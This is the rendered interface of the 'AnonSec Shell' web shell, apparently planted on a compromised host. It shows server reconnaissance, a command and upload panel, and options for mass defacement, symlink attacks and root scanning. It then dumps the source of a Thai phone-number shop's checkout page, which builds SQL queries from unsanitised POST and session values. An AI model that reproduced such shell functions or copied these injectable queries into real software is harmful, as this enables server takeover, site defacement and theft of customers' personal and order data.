AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.32   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/cp648411/public_html/kainumber.com/cart/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home2/cp648411/public_html/kainumber.com/cart/checkout4_test.php
<?php include('../include/header.php')?>
<?php $menu = 'cart';?>
<?php
if(isset($_POST['order_id']))
{
	$_SESSION['order_id'] = $_POST['order_id'];
}
if($_SESSION['order_id'] == '')
{
	?><meta http-equiv="refresh" content="0;URL=../home/index.php"><?php 
	exit;
}
?>
<?php include('../theme/menu.php')?>  
<?php //include('../banner/index.php')?> 
<?php include('../theme/category.php')?>  
<!-- /.body -->
<script type="text/javascript">

    function PrintElem(elem)
    {
        Popup($(elem).html());
    }

    function Popup(data) 
    {
        var mywindow = window.open('print_order.php', 'ใบสั่งซื้อสินค้า - kainumber', 'height=500,width=600');
        mywindow.document.write('<html><head><title>ใบสั่งซื้อสินค้า - kainumber</title>');
        /*optional stylesheet*/ //mywindow.document.write('<link rel="stylesheet" href="main.css" type="text/css" />');
        mywindow.document.write('</head><body >');
        mywindow.document.write(data);
        mywindow.document.write('</body></html>');

        mywindow.document.close(); // necessary for IE >= 10
        mywindow.focus(); // necessary for IE >= 10

        mywindow.print();
        mywindow.close();

        return true;
    }
</script>
 
<div class="container" style="padding-top:25px;">
    <div class="row">
        <div class="col-md-3"><?php include('../theme/tab_left.php');?></div>
        <div class="col-md-9">
        
        
        <!-- /.cart --> 
            <div style="margin-bottom:15px;">
                    
                 <div class="head_bg_right">
                 <?php
                        if($_GET['s'] == 1 || $_GET['s'] == 2){?> เสร็จสิ้น !<?php }else{?> ไม่สำเสร็จ!!!<?php } 
						
				?>
                 </div>
                	<div class="row" style="padding-top:10px;margin-bottom:10px;">
               		<div class="col-md-12">
                
                         <div  align="center"> <img src="../image/cart_5.png" width="720" height="66" class="img-responsive"></div>
    
    
                        <br>
                         
                        <?php
                        if($_GET['s'] == 1)
						{
							?>
							<div style="font-size:16px;padding:30px 0px;" align="center">
                          	 คุณได้ทำการสั่งซื้อสินค้าเรียบร้อยแล้วค่ะ !! <br>
                            ทางระบบกำลังจะส่งรายละเอียดคำสั่งซื้อไปให้ทางEmailของท่าน<br>
                            ขอบคุณที่ใช้บริการของเราค่ะ<br>
                          
                            </div>
                            
                            <div class="form-group" style="padding-top:20px;">
                            <div class="col-sm-12" align="center">
                              <input class="btn btn-default corner_cancel bt_login" type="button" onClick="PrintElem('#orders2')"  value=" &nbsp; พิมพ์ใบสั่งซื้อ" style="color:#FFF;">
                            </div>
                          </div>
							<?php
						}
						else if($_GET['s'] == 2)
						{
							?>
							<div style="font-size:16px;padding:30px 0px;" align="center">
                          	คุณได้ทำการสั่งซื้อสินค้าและชำระเงินเรียบร้อยแล้วค่ะ !! <br>
                            ขอบคุณที่ใช้บริการของเราค่ะ<br>
                          
                            </div>
                            
                            <div class="form-group" style="padding-top:20px;">
                            <div class="col-sm-12" align="center">
                              <input class="btn btn-default corner_cancel bt_login" type="button" onClick="PrintElem('#orders2')"  value=" &nbsp; พิมพ์ใบสั่งซื้อ" style="color:#FFF;">
                            </div>
                          </div>
							<?php
						}
						else
						{
							?>
							<div style="font-size:16px;padding:30px 0px;color:#F00;" align="center">
                             ข้ออภัย ระบบขัดข้อง!!! <br>
                             กรุณาลองใหม่อีกครั้ง
                            
                            </div>
							<?php
						}
						?>
                        
                         </div>
                         
                         	<?php
							
							$sql = array('table'=>'orders','where'=>"id = '". $_SESSION['order_id'] ."'");
							$view_sql = $view_db->view($sql);
							$row = $view_db->q($view_sql);
							?>
							<div id="orders2" style="display:none">
							 <table width="100%" border="0">
							  <tr>
								<td align="right"><img src="../image/text_logotop.png" width="200" class="img-responsive"></td>
							  </tr>
							  <tr>
								<td>เลขที่ใบสั่งซื้อ : #<?php printf("%06d", $_SESSION['order_id']);?></td>
							  </tr>
							   <tr>
								<td>วันที่สั่งสินค้า : <?php echo $util_class->day_num2($row['date_time']) ?></td>
							  </tr>
							  <?php
								$dmy = $util_class->day_num4($row['date_time']);
								/*$date = new DateTime(date("Y-m-d"));
								$date->modify('+1 day');
								$date_1 = $date->format('d/m/Y');*/
								$date_1 = date("d/m/Y",date("U")+ 60*60*24);
							  ?>
							   <tr>
								<td>ชำระเงินภายในวันที่ : <?php echo $date_1 ?></td>
							  </tr>
							</table>
							<div style="border:1px solid #000;margin-top:15px;">
							<table width="100%" border="0">
							  <tr>
								<td>ที่อยู่สำหรับจัดส่งสินค้า</td>
							  </tr>
							   <tr>
								<td><?php echo $row['name'] .' '. $row['lastname'];?></td>
							  </tr>
							   <tr>
								<td><?php echo $row['address'] .' '. $row['province'] .' '. $row['zipcode']?></td>
							  </tr>
							  <tr>
								<td>โทรศัพท์ <?php echo $Phone_class->phonenumber($row['phone']);?></td>
							  </tr>
							</table>
							</div>
							<br><br>
							<table width="100%" border="1" align="center" cellpadding="5" cellspacing="0">
							  <tr align="center">
								<td>หมายเลขโทรศัพท์</td>
								<td>เครือข่าย</td>
								<td>ราคา</td>
							  </tr>
							  <?php
							   
								$list1 = array('table'=>'order_detail','where'=>'id_order = "'.$_SESSION['order_id'].'"','order'=> "ORDER BY id ASC");				  
								$view1 = $view_db->view($list1);
								$result1 = $view_db->q_re($view1);
								while($row1 = $view_db->q_ro($result1))
								{
									$sql2 = array('table'=>'phonenumber','where'=>"id = '". $row1['id_pho']."'");
									$view_sql2 = $view_db->view($sql2);
									$row2 = $view_db->q($view_sql2);
									?>
									<tr align="center">
										<td><?php echo $Phone_class->phonenumber($row2['phonenumber']); ?></td>
										<?php
										$sql_type = array('table'=>'mobilenetwork','where'=>"id = '". $row2['mobilenetwork']."'");
										$view_type = $view_db->view($sql_type);
										$row_type = $view_db->q($view_type);
										?>
										<td><img src="../redbag/mobilenetwork/<?php echo $row_type['image'];?>" width="38" height="19"></td>
										<td align="right"><?php echo $row2['price']; ?> บาท</td>
									  </tr>
									<?php
								$p_price = str_replace("," , "" ,$row2['price']);
								$sum_price = $sum_price + $p_price;
								}
							  ?>
							  <tr>
								<td align="right" colspan="2">รวม</td>
								<td align="right"><?php echo number_format($sum_price);?>  บาท</td>
							  </tr>
							  <tr>
								<td align="right" colspan="2">ค่าจัดส่ง</td>
								<td align="right"><?php echo number_format($row['delivery']);?> บาท</td>
							  </tr> 
							 <?php
							 $total = $sum_price + $row['delivery'];
							 ?>
                              <?php
							    $day_to = date('Y-m-d');
								$sql_ds = array('table'=>'code','where'=>"code = '".$row['discount_c']."' AND expirationdate >= '".$day_to."'");
								$view_ds = $view_db->view($sql_ds);
								$row_ds = $view_db->q($view_ds);
								if($row_ds['id'] > 0)
								{
									if($row_ds['type'] == 1)
									{
									  $discount_t = $row_ds['money'].' บาท';
									  $total = $total - $row_ds['money'];
									}
									if($row_ds['type'] == 2)
									{
									  $discount_t = $row_ds['money'].' %';
									  $money = $total * $row_ds['money']/100;
									  $total = $total - $money;
									}
									
									?>
									<tr>
										<td align="right" colspan="2">ส่วนลด</td>
										<td align="right"><?php echo $discount_t;?></td>
									  </tr> 
									<?php	
								}
							  ?>
                          
							   <tr>
								<td align="right" colspan="2">ราคารวม</td>
								<td align="right"><?php echo number_format($total);?> บาท</td>
							  </tr>
							</table>
							 
							</div>
													 
                         
                         
                         
                          
               		</div>
              
                
                </div>
            </div>
            <!-- /.cart -->
     
       
        
        
        
        
        </div>
    </div>
</div>  
<!-- /.body -->  
<?php include('../include/footer.php')?>
<?php include('../include/footer_js.php')?>

Anon7 - 2022
AnonSec Team